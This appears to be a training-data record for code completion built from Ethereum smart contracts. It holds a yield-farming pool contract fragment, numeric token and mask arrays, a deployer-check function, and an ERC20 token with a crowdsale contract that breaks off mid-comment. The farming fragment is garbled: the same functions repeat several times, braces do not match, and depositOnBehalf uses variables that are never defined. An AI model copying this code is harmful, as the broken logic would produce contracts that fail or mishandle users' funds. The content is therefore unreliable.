startBlock) { _lastRewardBlock = startBlock; } } if (_lastRewardBlock == 0 || _lastRewardBlock < block.number) { _lastRewardBlock = block.number; } } bool _isStarted = (block.number >= _lastRewardBlock) && (_lastRewardBlock >= startBlock); poolInfo.push(PoolInfo({ lpToken: _lpToken, allocPoint: _allocPoint, lastRewardBlock: _lastRewardBlock, accValuePerShare: 0, isStarted: _isStarted })); if (_isStarted) { totalAllocPoint = totalAllocPoint.add(_allocPoint); } } function add(uint256 _allocPoint, IERC20 _lpToken, bool _withUpdate, uint256 _lastRewardBlock) public onlyOwner { if (_withUpdate) { massUpdatePools(); } if (block.number < startBlock) { if (_lastRewardBlock == 0) { _lastRewardBlock = startBlock; if (_lastRewardBlock < startBlock) { _lastRewardBlock = startBlock; } } if (_lastRewardBlock == 0 || _lastRewardBlock < block.number) { _lastRewardBlock = block.number; } } bool _isStarted = (block.number >= _lastRewardBlock) && (_lastRewardBlock >= startBlock); poolInfo.push(PoolInfo({ lpToken: _lpToken, allocPoint: _allocPoint, lastRewardBlock: _lastRewardBlock, accValuePerShare: 0, isStarted: _isStarted })); if (_isStarted) { totalAllocPoint = totalAllocPoint.add(_allocPoint); } } function add(uint256 _allocPoint, IERC20 _lpToken, bool _withUpdate, uint256 _lastRewardBlock) public onlyOwner { if (_withUpdate) { massUpdatePools(); } if (block.number < startBlock) { if (_lastRewardBlock == 0) { _lastRewardBlock = startBlock; if (_lastRewardBlock < startBlock) { _lastRewardBlock = startBlock; } } if (_lastRewardBlock == 0 || _lastRewardBlock < block.number) { _lastRewardBlock = block.number; } } bool _isStarted = (block.number >= _lastRewardBlock) && (_lastRewardBlock >= startBlock); poolInfo.push(PoolInfo({ lpToken: _lpToken, allocPoint: _allocPoint, lastRewardBlock: _lastRewardBlock, accValuePerShare: 0, isStarted: _isStarted })); if (_isStarted) { totalAllocPoint = totalAllocPoint.add(_allocPoint); } } function set(uint256 _pid, uint256 _allocPoint, bool _withUpdate) public onlyOwner { if (_withUpdate) { massUpdatePools(); } PoolInfo storage pool = poolInfo[_pid]; if (pool.isStarted) { totalAllocPoint = totalAllocPoint.sub(pool.allocPoint).add(_allocPoint); } pool.allocPoint = _allocPoint; } function set(uint256 _pid, uint256 _allocPoint, bool _withUpdate) public onlyOwner { if (_withUpdate) { massUpdatePools(); } PoolInfo storage pool = poolInfo[_pid]; if (pool.isStarted) { totalAllocPoint = totalAllocPoint.sub(pool.allocPoint).add(_allocPoint); } pool.allocPoint = _allocPoint; } function set(uint256 _pid, uint256 _allocPoint, bool _withUpdate) public onlyOwner { if (_withUpdate) { massUpdatePools(); } PoolInfo storage pool = poolInfo[_pid]; if (pool.isStarted) { totalAllocPoint = totalAllocPoint.sub(pool.allocPoint).add(_allocPoint); } pool.allocPoint = _allocPoint; } function setValuePerBlock(uint256 _valuePerBlock) public onlyOwner { massUpdatePools(); valuePerBlock = _valuePerBlock; } function setEpochEndBlock(uint8 _index, uint256 _epochEndBlock) public onlyOwner { require(_index < 3, "_index out of range"); require(_epochEndBlock > block.number, "Too late to update"); require(epochEndBlocks[_index] > block.number, "Too late to update"); epochEndBlocks[_index] = _epochEndBlock; } function setEpochRewardMultipler(uint8 _index, uint256 _epochRewardMultipler) public onlyOwner { require(_index > 0 && _index < 4, "Index out of range"); require(epochEndBlocks[_index - 1] > block.number, "Too late to update"); epochRewardMultiplers[_index] = _epochRewardMultipler; } function setRewardReferral(address _rewardReferral) external onlyOwner { rewardReferral = _rewardReferral; } function getMultiplier(uint256 _from, uint256 _to) public view returns (uint256) { for (uint8 epochId = 3; epochId >= 1; --epochId) { if (_to >= epochEndBlocks[epochId - 1]) { if (_from >= epochEndBlocks[epochId - 1]) return _to.sub(_from).mul(epochRewardMultiplers[epochId]); uint256 multiplier = _to.sub(epochEndBlocks[epochId - 1]).mul(epochRewardMultiplers[epochId]); if (epochId == 1) return multiplier.add(epochEndBlocks[0].sub(_from).mul(epochRewardMultiplers[0])); for (epochId = epochId - 1; epochId >= 1; --epochId) { if (_from >= epochEndBlocks[epochId - 1]) return multiplier.add(epochEndBlocks[epochId].sub(_from).mul(epochRewardMultiplers[epochId])); multiplier = multiplier.add(epochEndBlocks[epochId].sub(epochEndBlocks[epochId - 1]).mul(epochRewardMultiplers[epochId])); } return multiplier.add(epochEndBlocks[0].sub(_from).mul(epochRewardMultiplers[0])); } } return _to.sub(_from).mul(epochRewardMultiplers[0]); } function getMultiplier(uint256 _from, uint256 _to) public view returns (uint256) { for (uint8 epochId = 3; epochId >= 1; --epochId) { if (_to >= epochEndBlocks[epochId - 1]) { if (_from >= epochEndBlocks[epochId - 1]) return _to.sub(_from).mul(epochRewardMultiplers[epochId]); uint256 multiplier = _to.sub(epochEndBlocks[epochId - 1]).mul(epochRewardMultiplers[epochId]); if (epochId == 1) return multiplier.add(epochEndBlocks[0].sub(_from).mul(epochRewardMultiplers[0])); for (epochId = epochId - 1; epochId >= 1; --epochId) { if (_from >= epochEndBlocks[epochId - 1]) return multiplier.add(epochEndBlocks[epochId].sub(_from).mul(epochRewardMultiplers[epochId])); multiplier = multiplier.add(epochEndBlocks[epochId].sub(epochEndBlocks[epochId - 1]).mul(epochRewardMultiplers[epochId])); } return multiplier.add(epochEndBlocks[0].sub(_from).mul(epochRewardMultiplers[0])); } } return _to.sub(_from).mul(epochRewardMultiplers[0]); } function getMultiplier(uint256 _from, uint256 _to) public view returns (uint256) { for (uint8 epochId = 3; epochId >= 1; --epochId) { if (_to >= epochEndBlocks[epochId - 1]) { if (_from >= epochEndBlocks[epochId - 1]) return _to.sub(_from).mul(epochRewardMultiplers[epochId]); uint256 multiplier = _to.sub(epochEndBlocks[epochId - 1]).mul(epochRewardMultiplers[epochId]); if (epochId == 1) return multiplier.add(epochEndBlocks[0].sub(_from).mul(epochRewardMultiplers[0])); for (epochId = epochId - 1; epochId >= 1; --epochId) { if (_from >= epochEndBlocks[epochId - 1]) return multiplier.add(epochEndBlocks[epochId].sub(_from).mul(epochRewardMultiplers[epochId])); multiplier = multiplier.add(epochEndBlocks[epochId].sub(epochEndBlocks[epochId - 1]).mul(epochRewardMultiplers[epochId])); } return multiplier.add(epochEndBlocks[0].sub(_from).mul(epochRewardMultiplers[0])); } } return _to.sub(_from).mul(epochRewardMultiplers[0]); } function getMultiplier(uint256 _from, uint256 _to) public view returns (uint256) { for (uint8 epochId = 3; epochId >= 1; --epochId) { if (_to >= epochEndBlocks[epochId - 1]) { if (_from >= epochEndBlocks[epochId - 1]) return _to.sub(_from).mul(epochRewardMultiplers[epochId]); uint256 multiplier = _to.sub(epochEndBlocks[epochId - 1]).mul(epochRewardMultiplers[epochId]); if (epochId == 1) return multiplier.add(epochEndBlocks[0].sub(_from).mul(epochRewardMultiplers[0])); for (epochId = epochId - 1; epochId >= 1; --epochId) { if (_from >= epochEndBlocks[epochId - 1]) return multiplier.add(epochEndBlocks[epochId].sub(_from).mul(epochRewardMultiplers[epochId])); multiplier = multiplier.add(epochEndBlocks[epochId].sub(epochEndBlocks[epochId - 1]).mul(epochRewardMultiplers[epochId])); } return multiplier.add(epochEndBlocks[0].sub(_from).mul(epochRewardMultiplers[0])); } } return _to.sub(_from).mul(epochRewardMultiplers[0]); } function pendingValue(uint256 _pid, address _user) public view returns (uint256) { PoolInfo storage pool = poolInfo[_pid]; UserInfo storage user = userInfo[_pid][_user]; uint256 accValuePerShare = pool.accValuePerShare; uint256 lpSupply = pool.lpToken.balanceOf(address(this)); if (block.number > pool.lastRewardBlock && lpSupply != 0) { uint256 multiplier = getMultiplier(pool.lastRewardBlock, block.number); if (totalAllocPoint > 0) { uint256 valueReward = multiplier.mul(valuePerBlock).mul(pool.allocPoint).div(totalAllocPoint); accValuePerShare = accValuePerShare.add(valueReward.mul(1e12).div(lpSupply)); } } return user.amount.mul(accValuePerShare).div(1e12).sub(user.rewardDebt); } function pendingValue(uint256 _pid, address _user) public view returns (uint256) { PoolInfo storage pool = poolInfo[_pid]; UserInfo storage user = userInfo[_pid][_user]; uint256 accValuePerShare = pool.accValuePerShare; uint256 lpSupply = pool.lpToken.balanceOf(address(this)); if (block.number > pool.lastRewardBlock && lpSupply != 0) { uint256 multiplier = getMultiplier(pool.lastRewardBlock, block.number); if (totalAllocPoint > 0) { uint256 valueReward = multiplier.mul(valuePerBlock).mul(pool.allocPoint).div(totalAllocPoint); accValuePerShare = accValuePerShare.add(valueReward.mul(1e12).div(lpSupply)); } } return user.amount.mul(accValuePerShare).div(1e12).sub(user.rewardDebt); } function pendingValue(uint256 _pid, address _user) public view returns (uint256) { PoolInfo storage pool = poolInfo[_pid]; UserInfo storage user = userInfo[_pid][_user]; uint256 accValuePerShare = pool.accValuePerShare; uint256 lpSupply = pool.lpToken.balanceOf(address(this)); if (block.number > pool.lastRewardBlock && lpSupply != 0) { uint256 multiplier = getMultiplier(pool.lastRewardBlock, block.number); if (totalAllocPoint > 0) { uint256 valueReward = multiplier.mul(valuePerBlock).mul(pool.allocPoint).div(totalAllocPoint); accValuePerShare = accValuePerShare.add(valueReward.mul(1e12).div(lpSupply)); } } return user.amount.mul(accValuePerShare).div(1e12).sub(user.rewardDebt); } function stakingPower(uint256 _pid, address _user) public view returns (uint256) { UserInfo storage user = userInfo[_pid][_user]; return user.accumulatedStakingPower.add(pendingValue(_pid, _user)); } function massUpdatePools() public discountCHI { uint256 length = poolInfo.length; for (uint256 pid = 0; pid < length; ++pid) { updatePool(pid); } } function massUpdatePools() public discountCHI { uint256 length = poolInfo.length; for (uint256 pid = 0; pid < length; ++pid) { updatePool(pid); } } function updatePool(uint256 _pid) public discountCHI { PoolInfo storage pool = poolInfo[_pid]; if (block.number <= pool.lastRewardBlock) { return; } uint256 lpSupply = pool.lpToken.balanceOf(address(this)); if (lpSupply == 0) { pool.lastRewardBlock = block.number; return; } if (!pool.isStarted) { pool.isStarted = true; totalAllocPoint = totalAllocPoint.add(pool.allocPoint); } uint256 multiplier = getMultiplier(pool.lastRewardBlock, block.number); if (totalAllocPoint > 0) { uint256 valueReward = multiplier.mul(valuePerBlock).mul(pool.allocPoint).div(totalAllocPoint); safeValueMint(address(this), valueReward); pool.accValuePerShare = pool.accValuePerShare.add(valueReward.mul(1e12).div(lpSupply)); } pool.lastRewardBlock = block.number; } function updatePool(uint256 _pid) public discountCHI { PoolInfo storage pool = poolInfo[_pid]; if (block.number <= pool.lastRewardBlock) { return; } uint256 lpSupply = pool.lpToken.balanceOf(address(this)); if (lpSupply == 0) { pool.lastRewardBlock = block.number; return; } if (!pool.isStarted) { pool.isStarted = true; totalAllocPoint = totalAllocPoint.add(pool.allocPoint); } uint256 multiplier = getMultiplier(pool.lastRewardBlock, block.number); if (totalAllocPoint > 0) { uint256 valueReward = multiplier.mul(valuePerBlock).mul(pool.allocPoint).div(totalAllocPoint); safeValueMint(address(this), valueReward); pool.accValuePerShare = pool.accValuePerShare.add(valueReward.mul(1e12).div(lpSupply)); } pool.lastRewardBlock = block.number; } function updatePool(uint256 _pid) public discountCHI { PoolInfo storage pool = poolInfo[_pid]; if (block.number <= pool.lastRewardBlock) { return; } uint256 lpSupply = pool.lpToken.balanceOf(address(this)); if (lpSupply == 0) { pool.lastRewardBlock = block.number; return; } if (!pool.isStarted) { pool.isStarted = true; totalAllocPoint = totalAllocPoint.add(pool.allocPoint); } uint256 multiplier = getMultiplier(pool.lastRewardBlock, block.number); if (totalAllocPoint > 0) { uint256 valueReward = multiplier.mul(valuePerBlock).mul(pool.allocPoint).div(totalAllocPoint); safeValueMint(address(this), valueReward); pool.accValuePerShare = pool.accValuePerShare.add(valueReward.mul(1e12).div(lpSupply)); } pool.lastRewardBlock = block.number; } function updatePool(uint256 _pid) public discountCHI { PoolInfo storage pool = poolInfo[_pid]; if (block.number <= pool.lastRewardBlock) { return; } uint256 lpSupply = pool.lpToken.balanceOf(address(this)); if (lpSupply == 0) { pool.lastRewardBlock = block.number; return; } if (!pool.isStarted) { pool.isStarted = true; totalAllocPoint = totalAllocPoint.add(pool.allocPoint); } uint256 multiplier = getMultiplier(pool.lastRewardBlock, block.number); if (totalAllocPoint > 0) { uint256 valueReward = multiplier.mul(valuePerBlock).mul(pool.allocPoint).div(totalAllocPoint); safeValueMint(address(this), valueReward); pool.accValuePerShare = pool.accValuePerShare.add(valueReward.mul(1e12).div(lpSupply)); } pool.lastRewardBlock = block.number; } function updatePool(uint256 _pid) public discountCHI { PoolInfo storage pool = poolInfo[_pid]; if (block.number <= pool.lastRewardBlock) { return; } uint256 lpSupply = pool.lpToken.balanceOf(address(this)); if (lpSupply == 0) { pool.lastRewardBlock = block.number; return; } if (!pool.isStarted) { pool.isStarted = true; totalAllocPoint = totalAllocPoint.add(pool.allocPoint); } uint256 multiplier = getMultiplier(pool.lastRewardBlock, block.number); if (totalAllocPoint > 0) { uint256 valueReward = multiplier.mul(valuePerBlock).mul(pool.allocPoint).div(totalAllocPoint); safeValueMint(address(this), valueReward); pool.accValuePerShare = pool.accValuePerShare.add(valueReward.mul(1e12).div(lpSupply)); } pool.lastRewardBlock = block.number; } function deposit(uint256 _pid, uint256 _amount, address _referrer) public discountCHI { depositOnBehalf(msg.sender, _pid, _amount, _referrer); } function depositOnBehalf(address farmer, uint256 _pid, uint256 _amount, address _referrer) public { require(msg.sender == farmer || msg.sender == vaultMaster.bank(), "!bank && !yourself"); PoolInfo storage pool = poolInfo[_pid]; UserInfo storage user = userInfo[_pid][farmer]; updatePool(_pid); if (rewardReferral != address(0) && _referrer != address(0)) { require(_referrer != farmer, "You cannot refer yourself."); IYFVReferral(rewardReferral).setReferrer(farmer, _referrer); } if (user.amount > 0) { uint256 pending = user.amount.mul(pool.accValuePerShare).div(1e12).sub(user.rewardDebt); if(pending > 0) { user.accumulatedStakingPower = user.accumulatedStakingPower.add(pending); safeValueTransfer(farmer, actualPaid); if (rewardReferral != address(0)) { _referrer = IYFVReferral(rewardReferral).getReferrer(farmer); } safeValueTransfer(_referrer, commission); safeValueTransfer(insuranceFundAddr, commission); } } } function depositOnBehalf(address farmer, uint256 _pid, uint256 _amount, address _referrer) public { require(msg.sender == farmer || msg.sender == vaultMaster.bank(), "!bank && !yourself"); PoolInfo storage pool = poolInfo[_pid]; UserInfo storage user = userInfo[_pid][farmer]; updatePool(_pid); if (rewardReferral != address(0) && _referrer != address(0)) { require(_referrer != farmer, "You cannot refer yourself."); IYFVReferral(rewardReferral).setReferrer(farmer, _referrer); } if (user.amount > 0) { uint256 pending = user.amount.mul(pool.accValuePerShare).div(1e12).sub(user.rewardDebt); if(pending > 0) { user.accumulatedStakingPower = user.accumulatedStakingPower.add(pending); safeValueTransfer(farmer, actualPaid); if (rewardReferral != address(0)) { _referrer = IYFVReferral(rewardReferral).getReferrer(farmer); } safeValueTransfer(_referrer, commission); safeValueTransfer(insuranceFundAddr, commission); } } } function depositOnBehalf(address farmer, uint256 _pid, uint256 _amount, address _referrer) public { require(msg.sender == farmer || msg.sender == vaultMaster.bank(), "!bank && !yourself"); PoolInfo storage pool = poolInfo[_pid]; UserInfo storage user = userInfo[_pid][farmer]; updatePool(_pid); if (rewardReferral != address(0) && _referrer != address(0)) { require(_referrer != farmer, "You cannot refer yourself."); IYFVReferral(rewardReferral).setReferrer(farmer, _referrer); } if (user.amount > 0) { uint256 pending = user.amount.mul(pool.accValuePerShare).div(1e12).sub(user.rewardDebt); if(pending > 0) { user.accumulatedStakingPower = user.accumulatedStakingPower.add(pending); safeValueTransfer(farmer, actualPaid); if (rewardReferral != address(0)) { _referrer = IYFVReferral(rewardReferral).getReferrer(farmer); } safeValueTransfer(_referrer, commission); safeValueTransfer(insuranceFundAddr, commission); } } } function depositOnBehalf(address farmer, uint256 _pid, uint256 _amount, address _referrer) public { require(msg.sender == farmer || msg.sender == vaultMaster.bank(), "!bank && !yourself"); PoolInfo storage pool = poolInfo[_pid]; UserInfo storage user = userInfo[_pid][farmer]; updatePool(_pid); if (rewardReferral != address(0) && _referrer != address(0)) { require(_referrer != farmer, "You cannot refer yourself."); IYFVReferral(rewardReferral).setReferrer(farmer, _referrer); } if (user.amount > 0) { uint256 pending = user.amount.mul(pool.accValuePerShare).div(1e12).sub(user.rewardDebt); if(pending > 0) { user.accumulatedStakingPower = user.accumulatedStakingPower.add(pending); safeValueTransfer(farmer, actualPaid); if (rewardReferral != address(0)) { _referrer = IYFVReferral(rewardReferral).getReferrer(farmer); } safeValueTransfer(_referrer, commission); safeValueTransfer(insuranceFundAddr, commission); } } } function depositOnBehalf(address farmer, uint256 _pid, uint256 _amount, address _referrer) public { require(msg.sender == farmer || msg.sender == vaultMaster.bank(), "!bank && !yourself"); PoolInfo storage pool = poolInfo[_pid]; UserInfo storage user = userInfo[_pid][farmer]; updatePool(_pid); if (rewardReferral != address(0) && _referrer != address(0)) { require(_referrer != farmer, "You cannot refer yourself."); IYFVReferral(rewardReferral).setReferrer(farmer, _referrer); } if (user.amount > 0) { uint256 pending = user.amount.mul(pool.accValuePerShare).div(1e12).sub(user.rewardDebt); if(pending > 0) { user.accumulatedStakingPower = user.accumulatedStakingPower.add(pending); safeValueTransfer(farmer, actualPaid); if (rewardReferral != address(0)) { _referrer = IYFVReferral(rewardReferral).getReferrer(farmer); } safeValueTransfer(_referrer, commission); safeValueTransfer(insuranceFundAddr, commission); } } } if(_amount > 0) { pool.lpToken.safeTransferFrom(farmer, address(this), _amount); user.amount = user.amount.add(_amount); } user.rewardDebt = user.amount.mul(pool.accValuePerShare).div(1e12); emit Deposit(farmer, _pid, _amount); }
14,351,108
[ 1, 16891, 358, 1445, 7786, 2864, 1496, 903, 2103, 1338, 279, 5264, 3844, 434, 5848, 364, 576, 17314, 622, 4486, 18, 7835, 732, 1206, 15309, 1207, 628, 333, 2845, 18, 670, 438, 2074, 284, 4610, 310, 302, 1317, 5, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 16351, 1445, 19549, 2864, 353, 14223, 6914, 288, 203, 565, 1450, 14060, 10477, 364, 2254, 5034, 31, 203, 565, 1450, 14060, 654, 39, 3462, 364, 467, 654, 39, 3462, 31, 203, 203, 565, 467, 9194, 1265, 1211, 774, 1071, 5381, 17198, 273, 467, 9194, 1265, 1211, 774, 12, 20, 92, 12648, 2787, 7616, 8749, 71, 20, 73, 29, 42, 8942, 42, 24, 758, 73, 4848, 27, 70, 20, 73, 42, 21, 29534, 21, 71, 1769, 203, 203, 565, 9606, 12137, 1792, 45, 288, 203, 3639, 2254, 5034, 16189, 1685, 273, 16189, 4482, 5621, 203, 3639, 389, 31, 203, 3639, 2254, 5034, 16189, 3389, 319, 273, 9035, 3784, 397, 16189, 1685, 300, 16189, 4482, 1435, 397, 2872, 380, 1234, 18, 892, 18, 2469, 31, 203, 3639, 17198, 18, 9156, 1265, 1211, 774, 12, 3576, 18, 15330, 16, 261, 31604, 3389, 319, 397, 5045, 29003, 13, 342, 1059, 2499, 5082, 1769, 203, 565, 289, 203, 203, 565, 1958, 25003, 288, 203, 565, 289, 203, 203, 565, 1958, 8828, 966, 288, 203, 565, 289, 203, 203, 565, 2254, 5034, 1071, 5381, 2438, 6553, 54, 1013, 67, 4208, 15566, 67, 3194, 19666, 273, 404, 31, 203, 565, 1758, 1071, 19890, 1957, 29084, 31, 203, 203, 203, 203, 565, 1445, 12003, 7786, 1071, 9229, 7786, 31, 203, 203, 203, 203, 565, 871, 4019, 538, 305, 12, 2867, 8808, 729, 16, 2254, 5034, 8808, 4231, 16, 2254, 5034, 3844, 1769, 203, 565, 871, 3423, 9446, 12, 2867, 8808, 729, 16, 2254, 5034, 8808, 4231, 16, 2254, 5034, 3844, 1769, 203, 2 ]
./partial_match/8453/0x000000000031163395F67E424F5B0082609709a7/sources/signed-zone/OpenSeaSignedZoneCaptain.sol
* @notice Internal function to assert that the caller is a valid deployer./ Ensure that the contract is being deployed by an approved deployer. tx.origin is used here, because we use the SignedZoneDeployer contract to deploy this contract, and initailize the owner, rotator, and sanitizer roles.
function _assertValidDeployer() internal view override { if ( tx.origin != address(0x939C8d89EBC11fA45e576215E2353673AD0bA18A) && tx.origin != address(0xe80a65eB7a3018DedA407e621Ef5fb5B416678CA) && tx.origin != address(0x86D26897267711ea4b173C8C124a0A73612001da) && tx.origin != address(0x3B52ad533687Ce908bA0485ac177C5fb42972962) ) { revert InvalidDeployer(); } }
16,789,128
[ 1, 3061, 445, 358, 1815, 716, 326, 4894, 353, 279, 923, 7286, 264, 18, 19, 7693, 716, 326, 6835, 353, 3832, 19357, 635, 392, 20412, 7286, 264, 18, 2229, 18, 10012, 353, 1399, 2674, 16, 2724, 732, 999, 326, 16724, 4226, 10015, 264, 6835, 358, 7286, 333, 6835, 16, 471, 1208, 671, 554, 326, 3410, 16, 4168, 639, 16, 471, 6764, 1824, 4900, 18, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 445, 389, 11231, 1556, 10015, 264, 1435, 2713, 1476, 3849, 288, 203, 3639, 309, 261, 203, 5411, 2229, 18, 10012, 480, 1758, 12, 20, 92, 29, 5520, 39, 28, 72, 6675, 41, 16283, 2499, 29534, 7950, 73, 25, 6669, 22, 3600, 41, 30803, 5718, 9036, 1880, 20, 70, 37, 2643, 37, 13, 597, 203, 5411, 2229, 18, 10012, 480, 1758, 12, 20, 6554, 3672, 69, 9222, 73, 38, 27, 69, 31831, 28, 20563, 37, 7132, 27, 73, 26, 5340, 41, 74, 25, 19192, 25, 38, 24, 23553, 8285, 3587, 13, 597, 203, 5411, 2229, 18, 10012, 480, 1758, 12, 20, 92, 5292, 40, 5558, 6675, 27, 5558, 4700, 2499, 24852, 24, 70, 31331, 39, 28, 39, 24734, 69, 20, 37, 27, 5718, 2138, 11664, 2414, 13, 597, 203, 5411, 2229, 18, 10012, 480, 1758, 12, 20, 92, 23, 38, 9401, 361, 25, 3707, 9470, 27, 39, 73, 29, 6840, 70, 37, 3028, 7140, 1077, 29882, 39, 25, 19192, 24, 5540, 27, 5540, 8898, 13, 203, 3639, 262, 288, 203, 5411, 15226, 1962, 10015, 264, 5621, 203, 3639, 289, 203, 565, 289, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
pragma solidity ^0.4.16; library SafeMath { function mul(uint a, uint b) internal pure returns (uint) { uint c = a * b; require(a == 0 || c / a == b); return c; } function div(uint a, uint b) internal pure returns (uint) { require(b > 0); uint c = a / b; require(a == b * c + a % b); return c; } function sub(uint a, uint b) internal pure returns (uint) { require(b <= a); return a - b; } function add(uint a, uint b) internal pure returns (uint) { uint c = a + b; require(c >= a); return c; } function max64(uint64 a, uint64 b) internal pure returns (uint64) { return a >= b ? a : b; } function min64(uint64 a, uint64 b) internal pure returns (uint64) { return a < b ? a : b; } function max256(uint256 a, uint256 b) internal pure returns (uint256) { return a >= b ? a : b; } function min256(uint256 a, uint256 b) internal pure returns (uint256) { return a < b ? a : b; } } contract ERC20Basic { uint public totalSupply; function balanceOf(address who) public constant returns (uint); function transfer(address to, uint value) public; event Transfer(address indexed from, address indexed to, uint value); } contract ERC20 is ERC20Basic { function allowance(address owner, address spender) public constant returns (uint); function transferFrom(address from, address to, uint value) public; function approve(address spender, uint value) public; event Approval(address indexed owner, address indexed spender, uint value); } contract BasicToken is ERC20Basic { using SafeMath for uint; mapping(address => uint) balances; function transfer(address _to, uint _value) public{ balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); Transfer(msg.sender, _to, _value); } function balanceOf(address _owner) public constant returns (uint balance) { return balances[_owner]; } } contract StandardToken is BasicToken, ERC20 { mapping (address => mapping (address => uint)) allowed; function transferFrom(address _from, address _to, uint _value) public { balances[_to] = balances[_to].add(_value); balances[_from] = balances[_from].sub(_value); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); Transfer(_from, _to, _value); } function approve(address _spender, uint _value) public{ require((_value == 0) || (allowed[msg.sender][_spender] == 0)) ; allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); } function allowance(address _owner, address _spender) public constant returns (uint remaining) { return allowed[_owner][_spender]; } } contract Ownable { address public owner; function Ownable() public{ owner = msg.sender; } modifier onlyOwner { require(msg.sender == owner); _; } function transferOwnership(address newOwner) onlyOwner public{ if (newOwner != address(0)) { owner = newOwner; } } } contract TTC is StandardToken, Ownable { string public constant name = "TTC"; string public constant symbol = "TTC"; uint public constant decimals = 18; function TTC() public { totalSupply = 1000000000000000000000000000; balances[msg.sender] = totalSupply; // Send all tokens to owner } function burn(uint _value) onlyOwner public returns (bool) { balances[msg.sender] = balances[msg.sender].sub(_value); totalSupply = totalSupply.sub(_value); Transfer(msg.sender, 0x0, _value); return true; } } contract CrowdsaleMain is Ownable{ using SafeMath for uint; struct Backer { uint weiReceived; uint coinSent; uint coinReadyToSend; } /* * Constants */ /** * ICO Phases. * * - PreStart: tokens are not yet sold/issued * - MainIco new tokens sold/issued at the regular price * - AfterIco: tokens are not sold/issued */ enum Phases {PreStart, MainIco, AfterIco} /* Maximum number of TTC to main ico sell */ uint public constant MAIN_MAX_CAP = 100000000000000000000000000; // 100,000,000 TTC /* Minimum amount to invest */ uint public constant MIN_INVEST_ETHER = 100 finney; /* Number of TTC per Ether */ uint public constant MAIN_COIN_PER_ETHER_ICO = 4000000000000000000000; // 4,000 TTC /* * Variables */ /* Crowdsale period */ uint private mainStartTime = 1524052800; // 2018-04-18 20:00 AM (UTC + 08:00) uint private mainEndTime = 1526644800; // 2018-05-18 20:00 AM (UTC + 08:00) /* TTC contract reference */ TTC public coin; /*Maximum Ether for one address during pre ico or main ico */ uint public maximumCoinsPerAddress = 50 ether; /* Multisig contract that will receive the Ether during main ico*/ address public mainMultisigEther; /* Number of Ether received during main ico */ uint public mainEtherReceived; /* Number of TTC sent to Ether contributors during main ico */ uint public mainCoinSentToEther; /* Backers Ether indexed by their Ethereum address */ mapping(address => Backer) public mainBackers; address[] internal mainReadyToSendAddress; /* White List */ mapping(address => bool) public whiteList; address private whiteListOwner; /* Current Phase */ Phases public phase = Phases.PreStart; /* * Modifiers */ modifier respectTimeFrame() { require((now >= mainStartTime) && (now < mainEndTime )); _; } /* * Event */ event LogReceivedETH(address addr, uint value); event LogCoinsEmited(address indexed from, uint amount); /* * Constructor */ function CrowdsaleMain() public{ whiteListOwner = msg.sender; } /** * Allow to set TTC address */ function setTTCAddress(address _addr) onlyOwner public { require(_addr != address(0)); coin = TTC(_addr); } /** * Allow owner to set whiteListOwner */ function setWhiteListOwner(address _addr) onlyOwner public { whiteListOwner = _addr; } /** * Check 